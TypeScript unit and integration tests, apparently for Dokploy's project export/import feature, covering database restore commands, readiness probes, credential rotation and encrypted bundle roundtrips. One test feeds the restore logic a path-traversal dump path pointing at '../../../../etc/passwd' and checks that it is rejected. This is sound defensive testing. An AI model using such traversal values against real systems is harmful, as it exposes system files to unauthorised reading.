describe("buildRestoreCommand for libsql", () => {
it("replaces sqld's data directory from the tarball and restarts the service", () => {
const command = buildRestoreCommand(
"libsql",
{ appName: "my-libsql-abc123" },
"/tmp/dokploy-import-restore-l.tar.gz",
);
expect(command).toContain(
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
);
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
expect(command).toContain(
"docker service update --force 'my-libsql-abc123'",
);
});
});
describe("buildReadyProbe", () => {
it("runs a credentialed query rather than a liveness ping", () => {
expect(
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
).toBe('psql -U u -d d -tAc "SELECT 1"');
expect(
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
).toContain("mysql -uroot --password=r00t");
expect(
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
).toContain("mariadb -uu --password=p");
expect(
buildReadyProbe("mongo", {
databaseUser: "u",
databasePassword: "p",
databaseName: "d",
}),
).toContain(
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
);
});
});
describe("waitUntilReady", () => {
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
const { execAsync } = await import(
"@dokploy/server/utils/process/execAsync"
);
const previous = (execAsync as any).getMockImplementation();
const outcomes = [true, true, false, true, true, true];
let calls = 0;
(execAsync as any).mockImplementation(async (command: string) => {
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
const ok = outcomes[calls++] ?? true;
if (!ok) throw new Error("the database system is shutting down");
return { stdout: "1", stderr: "" };
});
try {
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
intervalMs: 0,
stableSuccesses: 3,
});
} finally {
(execAsync as any).mockImplementation(previous);
}
expect(calls).toBe(6);
});
});
describe("buildWaitReadyScript", () => {
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
expect(script).toContain("docker exec");
expect(script).toContain("pg_isready");
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
],
};
const dbFor = (): TransferDb =>
({
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
appName: "my-db-new-1",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "p",
serverId: null,
}),
},
destinations: { findFirst: async () => undefined },
},
}) as any as TransferDb;
const resultFor = (): TransferResult =>
({
idMap: { postgres: { "pg-1": "pg-new-1" } },
}) as any as TransferResult;
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
it("neither copies nor removes anything and restores from the workspace path", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
vi.mocked(copyFile).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: null, path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(copyFile).not.toHaveBeenCalled();
expect(remove).not.toHaveBeenCalled();
});
});
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
it("removes the remote dump path after a successful restore", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
});
it("still removes the remote dump path when the restore command itself fails", async () => {
failRestoreBox.value = true;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(1);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
failRestoreBox.value = false;
});
});
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
vi.mocked(copyFile).mockClear();
const maliciousSnapshot: Snapshot = {
...snapshot,
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "../../../../etc/passwd",
bytes: 100,
},
],
};
const errors = await restoreDumps(
dbFor(),
maliciousSnapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(copyFile).not.toHaveBeenCalled();
expect(errors).toHaveLength(1);
expect(errors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,583 @@
import {
applications,
mounts,
postgres,
projects,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
Plan,
Snapshot,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
buildRotationPlan,
capture,
detectRequirements,
detectWarnings,
rotateText,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("rotateText", () => {
it("replaces both the literal and URL-encoded form of the old password", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "p@ss",
newPassword: "n3wpass",
},
];
const { text, matched } = rotateText(
"DATABASE_URL=postgres://user:p%40ss@host/db",
specs,
);
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
expect(matched).toHaveLength(1);
expect(matched[0]?.count).toBe(1);
});
it("counts multiple literal occurrences across the text", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText(
"A=oldpass\nB=oldpass\nC=unrelated",
specs,
);
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
expect(matched[0]?.count).toBe(2);
});
it("leaves text untouched and reports no match when the password isn't present", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText("nothing to see here", specs);
expect(text).toBe("nothing to see here");
expect(matched).toHaveLength(0);
});
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
const specs = [
{
serviceId: "svc-a",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "secret",
newPassword: "A_NEW",
},
{
serviceId: "svc-b",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "mysecret123",
newPassword: "B_NEW",
},
];
const { text } = rotateText(
"A=secret\nB=postgres://u:mysecret123@host/db",
specs,
);
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
});
});
describe("buildRotationPlan", () => {
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "sharedpass",
databaseRootPassword: "sharedpass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "mysql-old-1",
},
],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
expect(specs).toHaveLength(2);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).toBeDefined();
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
const { text } = rotateText(
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
specs,
);
expect(text).toBe(
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
);
});
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
const tx = {
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "app",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "postgres",
postgresId: "pg-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
postgres: { "pg-old-1": "pg-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toEqual([
expect.objectContaining({
serviceId: "pg-new-1",
serviceType: "postgres",
}),
]);
});
it("keeps a mysql service whose root password is too short", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "my-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "long-enough-password",
databaseRootPassword: "1",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "my-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
mysql: { "my-old-1": "my-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toHaveLength(1);
});
it("still generates independent new passwords when app and root passwords differ", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "app-pass",
databaseRootPassword: "root-pass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
});
});
const applicationWithDbRef = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
buildArgs: "BUILD_DB_PASS=realdbpassword123",
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "password = realdbpassword123",
mountPath: "/etc/app.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const applicationWithoutDbRef = {
...applicationWithDbRef,
applicationId: "app-2",
appName: "my-app-two-def456",
name: "my-app-two",
env: "UNRELATED=1",
buildArgs: null,
mounts: [],
};
const postgresService = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [applicationWithDbRef, applicationWithoutDbRef],
postgres: [postgresService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [] },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: baseScope,
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: captureResult.inventory.totals,
},
resources: captureResult.resources,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
};
const plan: Plan = await buildPlan(
db,
snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{ rotateDatabaseCredentials },
);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[postgres, "postgresId"],
[mounts, "mountId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: { findFirst: async () => undefined },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
applications: {
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
},
postgres: {
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: {
findMany: async (args?: { where?: unknown }) =>
(insertedByTable.get(mounts) ?? []).filter((row) =>
args?.where ? row.type === "file" : true,
),
},
projects: {
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
},
environments: {
findFirst: async () =>
(insertedByTable.get(environmentsTable) ?? [])[0],
},
compose: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: async (condition: any) => {
const chunks = condition?.queryChunks ?? [];
const paramChunk = chunks.find(
(c: any) => c?.constructor?.name === "Param",
);
const columnChunk = chunks.find(
(c: any) => typeof c?.name === "string",
);
const list = insertedByTable.get(table) ?? [];
for (const row of list) {
if (
!columnChunk ||
!paramChunk ||
row[columnChunk.name] === paramChunk.value
) {
Object.assign(row, values);
}
}
},
}),
}),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
return fn({ ...writeDb });
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
snapshot,
plan,
captureResult.secretsPlain,
"org-dest",
);
return {
result,
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
string,
unknown
>,
insertedApps: insertedByTable.get(applications) ?? [],
insertedMounts: insertedByTable.get(mounts) ?? [],
};
};
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
const { result, insertedPostgres, insertedApps, insertedMounts } =
await runApplyForRotationTest(true);
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
expect(typeof insertedPostgres.databasePassword).toBe("string");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
const nonReferencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-2"],
);
expect(String(referencingApp?.env)).toContain(
String(insertedPostgres.databasePassword),
);
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
expect(String(referencingApp?.buildArgs)).toBe(
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
);
expect(String(insertedMounts[0]?.content)).toBe(
`password = ${insertedPostgres.databasePassword}`,
);
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
expect(result.rotations).toHaveLength(1);
expect(result.rotations[0]).toMatchObject({
field: "databasePassword",
occurrences: 3,
});
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(true);
});
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
const { result, insertedPostgres, insertedApps } =
await runApplyForRotationTest(false);
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
expect(String(referencingApp?.env)).toContain("realdbpassword123");
expect(result.rotations).toHaveLength(0);
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(false);
});
});
@@ -0,0 +1,468 @@
import { mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
applications,
compose,
domains,
mounts,
ports,
projects,
registry,
schedules,
security,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
capture,
detectRequirements,
detectWarnings,
inspectBundle,
LOCAL_SERVER_CANDIDATE_ID,
serialize,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: "registry-src-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
mountPath: "/etc/nginx/nginx.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [
{
portId: "port-1",
publishedPort: 8080,
publishMode: "host",
targetPort: 80,
protocol: "tcp",
},
],
schedules: [],
volumeBackups: [],
};
const composeService = {
composeId: "compose-1",
name: "my-compose",
appName: "my-compose-def456",
environmentId: "env-1",
env: "",
serverId: null,
composeFile: "services:\n web:\n image: nginx\n",
sourceType: "raw",
composeType: "docker-compose",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
backups: [],
schedules: [
{
scheduleId: "schedule-1",
name: "nightly-restart",
cronExpression: "0 0 * * *",
shellType: "bash",
scheduleType: "compose",
command: "docker compose restart",
createdAt: "2024-01-01T00:00:00.000Z",
},
],
volumeBackups: [],
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
compose: [composeService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [application],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
},
],
findFirst: async () => ({
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
domains: { findMany: async () => [] },
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
let workDir: string;
let outDir: string;
let extractDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
await rm(extractDir, { recursive: true, force: true });
});
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-src",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
await inspectBundle(local(bundlePath), local(extractDir));
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
const plan = await buildPlan(
db,
unlocked.snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{
resolutions: {
"server:null": {
requirementKey: "server:null",
action: "reuse",
targetId: LOCAL_SERVER_CANDIDATE_ID,
},
},
},
);
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
]?.action,
).toBe("reuse");
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
]?.action,
).toBe("reuse");
expect(plan.pendingServices).toEqual([]);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[compose, "composeId"],
[domains, "domainId"],
[mounts, "mountId"],
[ports, "portId"],
[security, "securityId"],
[registry, "registryId"],
[schedules, "scheduleId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
name: "prod",
organizationId: "org-dest",
assignments: [],
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
organizationId: "org-dest",
}),
},
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
const tx = { ...writeDb };
return fn(tx);
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
unlocked.snapshot,
plan,
unlocked.secretsPlain,
"org-dest",
);
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
string,
unknown
>;
expect(projectRow.projectId).not.toBe("project-1");
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
expect(projectRow.name).toBe("imported-project (imported)");
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedApp.applicationId).not.toBe("app-1");
expect(insertedApp.appName).not.toBe("my-app-abc123");
expect(insertedApp.env).toBe(
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
);
expect(insertedApp.registryId).toBe("registry-src-1");
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedCompose.composeId).not.toBe("compose-1");
expect(insertedCompose.appName).not.toBe("my-compose-def456");
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
| Record<string, unknown>
| undefined;
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
expect(insertedSchedule?.organizationId).toBe("org-dest");
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedDomain.host).toBe("app-1.example.com");
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedMount.content).toBe("server { listen 80; }");
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedSecurity.password).toBe("basicauthpass");
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedPort.publishedPort).toBe(8080);
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
expect(serializedInserts).not.toContain("$secret:");
expect(serializedInserts).not.toContain("webhook-token");
}, 30_000);
});
@@ -0,0 +1,577 @@
import { describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@/server/utils/billing", () => ({
getCurrentPlan: vi.fn(async () => null),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
validatePlan: vi.fn(async () => []),
inspectBundle: vi.fn(async () => {
throw new Error("inspectBundle not stubbed for this test");
}),
};
},
);
const {
createImportJob,
getImportJob,
createExportJob,
exportScopeSchema,
assertTransferPermission,
validatePlan,
updateImportJob,
inspectBundle,
UnsupportedBundleVersionError,
} = await import("@dokploy/server/services/project-export-import");
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string, userId = "user-1") =>
({
session: { activeOrganizationId: organizationId },
user: { id: userId, email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importStart", () => {
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
const importId = "import-router-1";
createImportJob(importId, "user-1", "org-1");
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
callCountBefore,
);
});
